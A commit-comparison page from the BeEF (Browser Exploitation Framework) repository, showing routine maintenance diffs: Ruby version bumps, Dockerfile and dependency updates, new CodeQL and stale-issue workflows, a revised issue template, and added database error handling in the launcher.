Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9f99d65e39 | ||
|
|
8d98a8e205 | ||
|
|
77983167db | ||
|
|
d1df07f13d | ||
|
|
70685c94a4 | ||
|
|
d761611056 | ||
|
|
87318f5a14 | ||
|
|
94063f2f33 | ||
|
|
fc7df4748f | ||
|
|
24dd89884b | ||
|
|
e69281e341 | ||
|
|
ddc06f1d7e | ||
|
|
8d23c0e482 | ||
|
|
28618367ea | ||
|
|
b1382e0be3 | ||
|
|
c1e63d2486 | ||
|
|
b56345fcdf | ||
|
|
0221a1c7da | ||
|
|
de60112928 | ||
|
|
7a1e500946 | ||
|
|
eea9740f4f | ||
|
|
73a3d17f29 | ||
|
|
f68e420318 | ||
|
|
b87463a60d | ||
|
|
107cdd3f54 | ||
|
|
d9d2c9c64b | ||
|
|
b911c8df23 | ||
|
|
9bc8d017e6 | ||
|
|
a7a4c81468 | ||
|
|
cbe9f66990 | ||
|
|
1c395a3153 | ||
|
|
0636e815db | ||
|
|
b46edb4d1a | ||
|
|
5fdd96f576 | ||
|
|
033dbc1192 | ||
|
|
67892d46a8 | ||
|
|
d2f27e6f2e | ||
|
|
57ab7fda84 | ||
|
|
139359a760 | ||
|
|
38b7ac7c23 | ||
|
|
52996d4fc5 | ||
|
|
4dbced4f55 | ||
|
|
c5e17be6db | ||
|
|
1c7a6e9fef | ||
|
|
f104a5daff | ||
|
|
216d312ebe |
+7
-9
@@ -1,11 +1,9 @@
|
||||
Makefile
|
||||
Dockerfile
|
||||
INSTALL.txt
|
||||
README.md
|
||||
*pem
|
||||
generate-certificate
|
||||
RESTful-API.postman_collection.json
|
||||
install
|
||||
beef
|
||||
# Don't copy over git files
|
||||
.git
|
||||
.github
|
||||
.gitignore
|
||||
doc
|
||||
docs
|
||||
scripts
|
||||
test
|
||||
update-beef
|
||||
+20
-56
@@ -1,66 +1,30 @@
|
||||
# Submit Issue
|
||||
|
||||
Verify first that your issue/request has not been posted previously:
|
||||
|
||||
* https://github.com/beefproject/beef/issues
|
||||
* https://github.com/beefproject/beef/wiki/FAQ
|
||||
|
||||
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/v0.5.4.0).
|
||||
|
||||
Please do your best to provide as much information as possible. It will help substantially if you can enable and provide debugging logs with your issue. Instructions for enabling debugging logs are below:
|
||||
|
||||
1. In the `config.yaml` file of your BeEF root folder set debug and client_debug (lines 11 & 13 respectively) to `true`
|
||||
* If using a standard installation of `beef-xss` the root folder will typically be `/usr/share/beef-xss`
|
||||
2. Reproduce your error
|
||||
3. Retrieve your client-side logs from your browser's developer console (Ctrl + Shift + I)
|
||||
4. Retrieve your server-side logs from `~/.beef/beef.log`
|
||||
5. **If using `beef-xss`:** Retrieve your service logs using `journalctl -u beef-xss`
|
||||
|
||||
Thank you, this will greatly aid us in identifying the root cause of your issue :)
|
||||
|
||||
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**
|
||||
Feel free to open it back up if you continue to have issues.
|
||||
|
||||
## Summary
|
||||
|
||||
**Q:** Please provide a brief summary of the issue that you experienced.
|
||||
**A:**
|
||||
|
||||
## Environment
|
||||
|
||||
*Please identify the environment in which your issue occurred.*
|
||||
|
||||
1. **BeEF Version:**
|
||||
|
||||
2. **Ruby Version:**
|
||||
|
||||
3. **Browser Details (e.g. Chrome v81.0):**
|
||||
|
||||
4. **Operating System (e.g. OSX Catalina):**
|
||||
## First Steps
|
||||
|
||||
1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues
|
||||
2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki
|
||||
3. BeEF Version:
|
||||
4. Ruby Version:
|
||||
5. Browser Details (e.g. Chrome v81.0):
|
||||
6. Operating System (e.g. OSX Catalina):
|
||||
|
||||
## Configuration
|
||||
|
||||
**Q:** Have you made any changes to your BeEF configuration?
|
||||
**A:**
|
||||
|
||||
**Q:** Have you enabled or disabled any BeEF extensions?
|
||||
**A:**
|
||||
|
||||
## Expected vs. Actual Behaviour
|
||||
|
||||
**Expected Behaviour:**
|
||||
<br />
|
||||
**Actual Behaviour:**
|
||||
<br />
|
||||
1. Have you made any changes to your BeEF configuration? Yes/No
|
||||
2. Have you enabled or disabled any BeEF extensions? Yes/No
|
||||
|
||||
## Steps to Reproduce
|
||||
|
||||
*Please provide steps to reproduce this issue.*
|
||||
1. (eg. I ran install script, which ran fine)
|
||||
2. (eg. when launching console with './beef' I get an error as follows: <error here>)
|
||||
3. (eg. beef does not launch)
|
||||
|
||||
1.
|
||||
## How to enable and capture detailed logging
|
||||
|
||||
1. Edit `config.yaml` in the root directory
|
||||
* If using Kali **beef-xss** the root dir will be `/usr/share/beef-xss`
|
||||
2. Update `client_debug` to `true`
|
||||
3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)
|
||||
4. Retrieve your server-side logs from `~/.beef/beef.log`
|
||||
* If using **beef-xss** logs found with `journalctl -u beef-xss`
|
||||
|
||||
## Additional Information
|
||||
|
||||
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be retrieved by following the instructions towards the top of the issue template.
|
||||
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**
|
||||
@@ -0,0 +1,72 @@
|
||||
# For most projects, this workflow file will not need changing; you simply need
|
||||
# to commit it to your repository.
|
||||
#
|
||||
# You may wish to alter this file to override the set of languages analyzed,
|
||||
# or to provide custom queries or build logic.
|
||||
#
|
||||
# ******** NOTE ********
|
||||
# We have attempted to detect the languages in your repository. Please check
|
||||
# the `language` matrix defined below to confirm you have the correct set of
|
||||
# supported CodeQL languages.
|
||||
#
|
||||
name: "CodeQL"
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ master ]
|
||||
pull_request:
|
||||
# The branches below must be a subset of the branches above
|
||||
branches: [ master ]
|
||||
schedule:
|
||||
- cron: '36 1 * * 0'
|
||||
|
||||
jobs:
|
||||
analyze:
|
||||
name: Analyze
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
actions: read
|
||||
contents: read
|
||||
security-events: write
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
language: [ 'javascript', 'ruby' ]
|
||||
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
|
||||
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
languages: ${{ matrix.language }}
|
||||
# If you wish to specify custom queries, you can do so here or in a config file.
|
||||
# By default, queries listed here will override any specified in a config file.
|
||||
# Prefix the list here with "+" to use these queries and those in the config file.
|
||||
|
||||
# Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
|
||||
queries: security-extended,security-and-quality
|
||||
|
||||
|
||||
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
|
||||
# If this step fails, then you should remove it and run the build manually (see below)
|
||||
# - name: Autobuild
|
||||
# uses: github/codeql-action/autobuild@v2
|
||||
|
||||
# ℹ️ Command-line programs to run using the OS shell.
|
||||
# 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
|
||||
|
||||
# If the Autobuild fails above, remove it and uncomment the following three lines.
|
||||
# modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.
|
||||
|
||||
# - run: |
|
||||
# echo "Run, Build Application using script"
|
||||
# ./location_of_script_within_repo/buildscript.sh
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v2
|
||||
@@ -42,7 +42,7 @@ jobs:
|
||||
- name: 'Setting up Ruby'
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 2.7.4 # Not needed with a .ruby-version file
|
||||
ruby-version: 3.0.3 # Not needed with a .ruby-version file
|
||||
|
||||
- name: 'Build and run tests'
|
||||
run: |
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
|
||||
#
|
||||
# You can adjust the behavior by modifying this file.
|
||||
# For more information, see:
|
||||
# https://github.com/actions/stale
|
||||
name: Mark stale issues and pull requests
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '5 * * * *'
|
||||
|
||||
jobs:
|
||||
stale:
|
||||
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
pull-requests: write
|
||||
|
||||
steps:
|
||||
- uses: actions/stale@v5
|
||||
with:
|
||||
repo-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
days-before-stale: 7
|
||||
days-before-pr-stale: 14
|
||||
days-before-close: 7
|
||||
days-before-pr-close: 14
|
||||
stale-issue-message: 'This issue as been marked as stale due to inactivity and will be closed in 7 days'
|
||||
stale-pr-message: 'Stale pull request message'
|
||||
stale-issue-label: 'Stale'
|
||||
stale-pr-label: 'no-pr-activity'
|
||||
exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'
|
||||
exempt-milestones: true
|
||||
exempt-draft-pr: true
|
||||
start-date: '2022-06-15'
|
||||
+1
-1
@@ -4,7 +4,7 @@ AllCops:
|
||||
- 'tmp/**/*'
|
||||
- 'tools/**/*'
|
||||
- 'doc/**/*'
|
||||
TargetRubyVersion: 2.7
|
||||
TargetRubyVersion: 3.0
|
||||
NewCops: enable
|
||||
|
||||
Layout/LineLength:
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.7.4
|
||||
3.0.3
|
||||
|
||||
+10
-17
@@ -10,7 +10,7 @@
|
||||
###########################################################################################################
|
||||
|
||||
# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
|
||||
FROM ruby:3.0-alpine AS builder
|
||||
FROM ruby:2.7.5-alpine AS builder
|
||||
LABEL maintainer="Beef Project: github.com/beefproject/beef"
|
||||
|
||||
# Install gems in parallel with 4 workers to expedite build process.=
|
||||
@@ -21,17 +21,11 @@ RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc
|
||||
|
||||
COPY . /beef
|
||||
|
||||
# RUN gem install bundler -v 2.1.4
|
||||
# RUN apk update
|
||||
# RUN apk add ruby=2.6.3
|
||||
# RUN gem install bundler -v 2
|
||||
|
||||
# Add bundler/gem dependencies and then install
|
||||
RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev
|
||||
RUN bundle install --system --no-cache --gemfile=/beef/Gemfile $BUNDLER_ARGS
|
||||
# RUN bundle clean --force
|
||||
# Temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
RUN rm -rf /usr/local/bundle/cache
|
||||
RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev && \
|
||||
bundle install --gemfile=/beef/Gemfile $BUNDLER_ARGS && \
|
||||
# Temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
rm -rf /usr/local/bundle/cache
|
||||
|
||||
WORKDIR /beef
|
||||
|
||||
@@ -41,22 +35,19 @@ RUN chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
|
||||
FROM ruby:2.6.3-alpine
|
||||
FROM ruby:2.7.5-alpine
|
||||
LABEL maintainer="Beef Project: github.com/beefproject/beef"
|
||||
|
||||
# Create service account to run BeEF
|
||||
RUN adduser -h /beef -g beef -D beef
|
||||
|
||||
COPY . /beef
|
||||
COPY --chown=1000:1000 . /beef
|
||||
|
||||
# Use gemset created by the builder above
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
|
||||
# Grant beef service account owner and groups rights over our BeEF working directory.
|
||||
RUN chown -R beef:beef /beef
|
||||
|
||||
# Install BeEF's runtime dependencies
|
||||
RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses5 automake libtool bison nodejs
|
||||
RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses automake libtool bison nodejs
|
||||
|
||||
WORKDIR /beef
|
||||
|
||||
@@ -66,5 +57,7 @@ USER beef
|
||||
# Expose UI, Proxy, WebSocket server, and WebSocketSecure server
|
||||
EXPOSE 3000 6789 61985 61986
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:3000" ]
|
||||
|
||||
ENTRYPOINT ["/beef/beef"]
|
||||
# ------------------------------------- End of Builder 1 -------------------------------------------------
|
||||
|
||||
@@ -1,18 +1,19 @@
|
||||
# BeEF's Gemfile
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
#gem 'simplecov', require: false, group: :test
|
||||
|
||||
gem 'net-smtp', require: false
|
||||
|
||||
gem 'eventmachine'
|
||||
gem 'thin'
|
||||
gem 'sinatra', '>= 2.0.2'
|
||||
gem 'rack', '>= 2.2.3'
|
||||
gem 'rack-protection', '>= 2.0.0'
|
||||
gem 'sinatra', '>= 2.2.0'
|
||||
gem 'rack', '>= 2.2.4'
|
||||
gem 'rack-protection', '>= 2.2.0'
|
||||
gem 'em-websocket' # WebSocket support
|
||||
gem 'uglifier', '>= 2.7.2'
|
||||
gem 'uglifier', '>= 4.2.0'
|
||||
gem 'mime-types'
|
||||
gem 'execjs'
|
||||
gem 'ansi'
|
||||
@@ -20,10 +21,10 @@ gem 'term-ansicolor', :require => 'term/ansicolor'
|
||||
gem 'json'
|
||||
gem 'rubyzip', '>= 1.2.2'
|
||||
gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
|
||||
gem 'rake', '>= 12.3.3'
|
||||
gem 'rake', '>= 13.0'
|
||||
gem 'otr-activerecord', '>= 1.4.2'
|
||||
gem 'sqlite3'
|
||||
gem 'rubocop', '~> 1.25.1', require: false
|
||||
gem 'rubocop', '~> 1.32.0', require: false
|
||||
|
||||
# Geolocation support
|
||||
group :geoip do
|
||||
@@ -41,12 +42,14 @@ end
|
||||
|
||||
# Notifications extension
|
||||
group :ext_notifications do
|
||||
gem 'unf'
|
||||
gem 'domain_name', '>= 0.5.20190701'
|
||||
# Pushover
|
||||
gem 'rushover'
|
||||
# Slack
|
||||
gem 'slack-notifier'
|
||||
# Twitter
|
||||
gem 'twitter', '>= 5.0.0'
|
||||
gem 'twitter', '>= 7.0.0'
|
||||
end
|
||||
|
||||
# DNS extension
|
||||
@@ -77,16 +80,11 @@ group :test do
|
||||
# sudo port install libxml2 libxslt
|
||||
gem 'capybara'
|
||||
# RESTful API tests/generic command module tests
|
||||
gem 'rest-client', '>= 2.0.1'
|
||||
gem 'rest-client', '>= 2.1.0'
|
||||
gem 'irb'
|
||||
gem 'pry-byebug'
|
||||
gem "websocket-client-simple", "~> 0.5.1"
|
||||
gem "browserstack-local", "~> 1.3"
|
||||
gem "browserstack-local", "~> 1.4"
|
||||
end
|
||||
|
||||
source 'https://rubygems.org'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+81
-69
@@ -1,12 +1,12 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activemodel (7.0.2.2)
|
||||
activesupport (= 7.0.2.2)
|
||||
activerecord (7.0.2.2)
|
||||
activemodel (= 7.0.2.2)
|
||||
activesupport (= 7.0.2.2)
|
||||
activesupport (7.0.2.2)
|
||||
activemodel (7.0.3.1)
|
||||
activesupport (= 7.0.3.1)
|
||||
activerecord (7.0.3.1)
|
||||
activemodel (= 7.0.3.1)
|
||||
activesupport (= 7.0.3.1)
|
||||
activesupport (7.0.3.1)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
@@ -17,18 +17,18 @@ GEM
|
||||
archive-zip (0.12.0)
|
||||
io-like (~> 0.3.0)
|
||||
ast (2.4.2)
|
||||
async (1.30.1)
|
||||
async (1.30.3)
|
||||
console (~> 1.10)
|
||||
nio4r (~> 2.3)
|
||||
timers (~> 4.1)
|
||||
async-dns (1.3.0)
|
||||
async-io (~> 1.15)
|
||||
async-io (1.32.2)
|
||||
async-io (1.33.0)
|
||||
async
|
||||
browserstack-local (1.3.0)
|
||||
browserstack-local (1.4.0)
|
||||
buftok (0.2.0)
|
||||
byebug (11.1.3)
|
||||
capybara (3.36.0)
|
||||
capybara (3.37.1)
|
||||
addressable
|
||||
matrix
|
||||
mini_mime (>= 0.1.3)
|
||||
@@ -37,14 +37,15 @@ GEM
|
||||
rack-test (>= 0.6.3)
|
||||
regexp_parser (>= 1.5, < 3.0)
|
||||
xpath (~> 3.2)
|
||||
childprocess (3.0.0)
|
||||
childprocess (4.1.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.1.9)
|
||||
console (1.13.1)
|
||||
concurrent-ruby (1.1.10)
|
||||
console (1.15.3)
|
||||
fiber-local
|
||||
curb (1.0.0)
|
||||
curb (1.0.1)
|
||||
daemons (1.4.1)
|
||||
diff-lcs (1.5.0)
|
||||
digest (3.1.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
em-websocket (0.5.3)
|
||||
@@ -56,7 +57,7 @@ GEM
|
||||
event_emitter (0.2.6)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
ffi (1.15.4)
|
||||
ffi (1.15.5)
|
||||
ffi-compiler (1.0.1)
|
||||
ffi (>= 1.0.0)
|
||||
rake
|
||||
@@ -72,19 +73,19 @@ GEM
|
||||
http-form_data (~> 2.2)
|
||||
http-parser (~> 1.2.0)
|
||||
http-accept (1.7.0)
|
||||
http-cookie (1.0.4)
|
||||
http-cookie (1.0.5)
|
||||
domain_name (~> 0.5)
|
||||
http-form_data (2.3.0)
|
||||
http-parser (1.2.3)
|
||||
ffi-compiler (>= 1.0, < 2.0)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (1.10.0)
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.9)
|
||||
io-console (0.5.11)
|
||||
io-like (0.3.1)
|
||||
irb (1.4.1)
|
||||
reline (>= 0.3.0)
|
||||
json (2.6.1)
|
||||
json (2.6.2)
|
||||
matrix (0.4.2)
|
||||
maxmind-db (1.1.1)
|
||||
memoizable (0.4.2)
|
||||
@@ -92,29 +93,33 @@ GEM
|
||||
method_source (1.0.0)
|
||||
mime-types (3.4.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2021.1115)
|
||||
mime-types-data (3.2022.0105)
|
||||
mini_mime (1.1.2)
|
||||
mini_portile2 (2.6.1)
|
||||
minitest (5.15.0)
|
||||
mojo_magick (0.6.6)
|
||||
minitest (5.16.2)
|
||||
mojo_magick (0.6.7)
|
||||
msfrpc-client (1.1.2)
|
||||
msgpack (~> 1)
|
||||
msgpack (1.4.2)
|
||||
multipart-post (2.1.1)
|
||||
mustermann (1.1.1)
|
||||
msgpack (1.5.4)
|
||||
multipart-post (2.2.3)
|
||||
mustermann (2.0.2)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
naught (1.1.0)
|
||||
net-protocol (0.1.3)
|
||||
timeout
|
||||
net-smtp (0.3.1)
|
||||
digest
|
||||
net-protocol
|
||||
timeout
|
||||
netrc (0.11.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.12.5)
|
||||
mini_portile2 (~> 2.6.1)
|
||||
nokogiri (1.13.8-x86_64-linux)
|
||||
racc (~> 1.4)
|
||||
otr-activerecord (2.1.1)
|
||||
activerecord (>= 4.0, < 7.1)
|
||||
hashie-forbidden_attributes (~> 0.1)
|
||||
parallel (1.21.0)
|
||||
parallel (1.22.1)
|
||||
parseconfig (1.1.2)
|
||||
parser (3.1.0.0)
|
||||
parser (3.1.2.0)
|
||||
ast (~> 2.4.1)
|
||||
power_assert (2.0.1)
|
||||
pry (0.13.1)
|
||||
@@ -123,24 +128,24 @@ GEM
|
||||
pry-byebug (3.9.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
psych (4.0.3)
|
||||
psych (4.0.4)
|
||||
stringio
|
||||
public_suffix (4.0.6)
|
||||
public_suffix (4.0.7)
|
||||
qr4r (0.6.1)
|
||||
mojo_magick (~> 0.6.5)
|
||||
rqrcode_core (~> 0.1)
|
||||
racc (1.6.0)
|
||||
rack (2.2.3)
|
||||
rack-protection (2.1.0)
|
||||
rack (2.2.4)
|
||||
rack-protection (2.2.2)
|
||||
rack
|
||||
rack-test (1.1.0)
|
||||
rack (>= 1.0, < 3)
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rdoc (6.4.0)
|
||||
psych (>= 4.0.0)
|
||||
regexp_parser (2.2.1)
|
||||
reline (0.3.0)
|
||||
regexp_parser (2.5.0)
|
||||
reline (0.3.1)
|
||||
io-console (~> 0.5)
|
||||
rest-client (2.1.0)
|
||||
http-accept (>= 1.7.0, < 2.0)
|
||||
@@ -149,7 +154,7 @@ GEM
|
||||
netrc (~> 0.8)
|
||||
rexml (3.2.5)
|
||||
rqrcode_core (0.2.0)
|
||||
rr (3.0.7)
|
||||
rr (3.1.0)
|
||||
rspec (3.11.0)
|
||||
rspec-core (~> 3.11.0)
|
||||
rspec-expectations (~> 3.11.0)
|
||||
@@ -159,39 +164,42 @@ GEM
|
||||
rspec-expectations (3.11.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-mocks (3.11.0)
|
||||
rspec-mocks (3.11.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-support (3.11.0)
|
||||
rubocop (1.25.1)
|
||||
rubocop (1.32.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml
|
||||
rubocop-ast (>= 1.15.1, < 2.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.19.1, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.15.2)
|
||||
parser (>= 3.0.1.1)
|
||||
rubocop-ast (1.19.1)
|
||||
parser (>= 3.1.1.0)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby2_keywords (0.0.5)
|
||||
rubyzip (2.3.2)
|
||||
rushover (0.3.0)
|
||||
json
|
||||
rest-client
|
||||
selenium-webdriver (3.142.7)
|
||||
childprocess (>= 0.5, < 4.0)
|
||||
rubyzip (>= 1.2.2)
|
||||
selenium-webdriver (4.3.0)
|
||||
childprocess (>= 0.5, < 5.0)
|
||||
rexml (~> 3.2, >= 3.2.5)
|
||||
rubyzip (>= 1.2.2, < 3.0)
|
||||
websocket (~> 1.0)
|
||||
simple_oauth (0.3.1)
|
||||
sinatra (2.1.0)
|
||||
mustermann (~> 1.0)
|
||||
sinatra (2.2.2)
|
||||
mustermann (~> 2.0)
|
||||
rack (~> 2.2)
|
||||
rack-protection (= 2.1.0)
|
||||
rack-protection (= 2.2.2)
|
||||
tilt (~> 2.0)
|
||||
slack-notifier (2.4.0)
|
||||
sqlite3 (1.4.2)
|
||||
stringio (3.0.1)
|
||||
sqlite3 (1.4.4)
|
||||
stringio (3.0.2)
|
||||
sync (0.5.0)
|
||||
term-ansicolor (1.7.1)
|
||||
tins (~> 1.0)
|
||||
@@ -217,9 +225,10 @@ GEM
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.10)
|
||||
tilt (2.0.11)
|
||||
timeout (0.3.0)
|
||||
timers (4.3.3)
|
||||
tins (1.29.1)
|
||||
tins (1.31.1)
|
||||
sync
|
||||
twitter (7.0.0)
|
||||
addressable (~> 2.3)
|
||||
@@ -232,14 +241,14 @@ GEM
|
||||
multipart-post (~> 2.0)
|
||||
naught (~> 1.0)
|
||||
simple_oauth (~> 0.3.0)
|
||||
tzinfo (2.0.4)
|
||||
tzinfo (2.0.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
uglifier (4.2.0)
|
||||
execjs (>= 0.3.0, < 3)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.7.7)
|
||||
unicode-display_width (2.1.0)
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.2.0)
|
||||
webrick (1.7.0)
|
||||
websocket (1.2.9)
|
||||
websocket-client-simple (0.5.1)
|
||||
@@ -251,14 +260,15 @@ GEM
|
||||
nokogiri (~> 1.8)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
x86_64-linux
|
||||
|
||||
DEPENDENCIES
|
||||
ansi
|
||||
async-dns
|
||||
browserstack-local (~> 1.3)
|
||||
browserstack-local (~> 1.4)
|
||||
capybara
|
||||
curb
|
||||
domain_name (>= 0.5.20190701)
|
||||
em-websocket
|
||||
erubis
|
||||
espeak-ruby (>= 1.0.4)
|
||||
@@ -270,31 +280,33 @@ DEPENDENCIES
|
||||
maxmind-db
|
||||
mime-types
|
||||
msfrpc-client
|
||||
net-smtp
|
||||
otr-activerecord (>= 1.4.2)
|
||||
parseconfig
|
||||
pry-byebug
|
||||
qr4r
|
||||
rack (>= 2.2.3)
|
||||
rack-protection (>= 2.0.0)
|
||||
rake (>= 12.3.3)
|
||||
rack (>= 2.2.4)
|
||||
rack-protection (>= 2.2.0)
|
||||
rake (>= 13.0)
|
||||
rdoc
|
||||
rest-client (>= 2.0.1)
|
||||
rest-client (>= 2.1.0)
|
||||
rspec
|
||||
rubocop (~> 1.25.1)
|
||||
rubocop (~> 1.32.0)
|
||||
rubyzip (>= 1.2.2)
|
||||
rushover
|
||||
selenium-webdriver
|
||||
sinatra (>= 2.0.2)
|
||||
sinatra (>= 2.2.0)
|
||||
slack-notifier
|
||||
sqlite3
|
||||
term-ansicolor
|
||||
test-unit
|
||||
test-unit-full
|
||||
thin
|
||||
twitter (>= 5.0.0)
|
||||
uglifier (>= 2.7.2)
|
||||
twitter (>= 7.0.0)
|
||||
uglifier (>= 4.2.0)
|
||||
unf
|
||||
websocket-client-simple (~> 0.5.1)
|
||||
xmlrpc
|
||||
|
||||
BUNDLED WITH
|
||||
2.1.4
|
||||
2.3.14
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
push: build
|
||||
docker push marcpartensky/beef
|
||||
build:
|
||||
docker build . -t marcpartensky/beef
|
||||
@@ -184,8 +184,14 @@ db_file = config.get('beef.database.file')
|
||||
# @note Resets the database if the -x flag was passed
|
||||
if BeEF::Core::Console::CommandLine.parse[:resetdb]
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
File.delete(db_file) if File.exists?(db_file)
|
||||
begin
|
||||
File.delete(db_file) if File.exists?(db_file)
|
||||
rescue => e
|
||||
print_error("Could not remove '#{db_file}' database file: #{e.message}")
|
||||
exit(1)
|
||||
end
|
||||
end
|
||||
|
||||
# Connect to DB
|
||||
ActiveRecord::Base.logger = nil
|
||||
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
|
||||
@@ -195,6 +201,7 @@ OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
|
||||
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
|
||||
OTR::ActiveRecord.establish_connection!
|
||||
end
|
||||
|
||||
# Migrate (if required)
|
||||
context = ActiveRecord::Migration.new.migration_context
|
||||
if context.needs_migration?
|
||||
@@ -208,7 +215,12 @@ print_info 'BeEF is loading. Wait a few seconds...'
|
||||
#
|
||||
# @note Execute migration procedure, checks for new modules
|
||||
#
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
begin
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
rescue => e
|
||||
print_error("Could not update '#{db_file}' database file: #{e.message}")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
#
|
||||
# @note Create HTTP Server and prepare it to run
|
||||
@@ -216,6 +228,13 @@ BeEF::Core::Migration.instance.update_db!
|
||||
http_hook_server = BeEF::Core::Server.instance
|
||||
http_hook_server.prepare
|
||||
|
||||
begin
|
||||
BeEF::Core::Logger.instance.register('System', 'BeEF server started')
|
||||
rescue => e
|
||||
print_error("Database connection failed: #{e.message}")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
#
|
||||
# @note Prints information back to the user before running the server
|
||||
#
|
||||
|
||||
@@ -16,6 +16,7 @@ require 'core/main/router/api'
|
||||
require 'core/main/server'
|
||||
require 'core/main/handlers/modules/beefjs'
|
||||
require 'core/main/handlers/modules/legacybeefjs'
|
||||
require 'core/main/handlers/modules/multistagebeefjs'
|
||||
require 'core/main/handlers/modules/command'
|
||||
require 'core/main/handlers/commands'
|
||||
